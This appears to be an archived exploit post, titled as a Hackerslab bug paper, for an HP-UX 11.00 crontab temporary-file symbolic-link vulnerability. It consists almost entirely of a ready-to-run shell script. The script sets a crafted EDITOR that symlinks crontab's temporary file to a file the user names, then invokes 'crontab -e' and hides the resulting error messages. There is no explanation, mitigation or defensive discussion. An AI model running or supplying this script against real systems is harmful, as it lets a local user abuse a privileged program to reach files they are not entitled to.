hp-ux.crontab.sh

`[ Hackerslab bug_paper ] HP-UX crontab temporary file symbolic link  
vulnerability  
  
Attach  
  
====================== crontab.sh ================================  
  
#!/bin/sh  
#  
# HP-UX 11.00 crontab  
#  
# Kyong-won,Cho  
#  
# [email protected]  
#  
# Usage : ./crontab.sh <distfile>  
#  
#  
  
if [ -z "$1" ]  
then  
  
echo "Usage : $0 <distfile>"  
exit  
  
fi  
  
cat << _EOF_ > /tmp/crontab_exp  
#!/bin/sh  
  
ln -sf $1 \$1  
  
_EOF_  
  
chmod 755 /tmp/crontab_exp  
  
EDITOR=/tmp/crontab_exp  
export EDITOR  
  
crontab -e 2> /tmp/crontab$$  
  
grep -v "error on previous line" /tmp/crontab$$  
  
rm -f /tmp/crontab_exp /tmp/crontab$$  
  
  
==================================================end  
`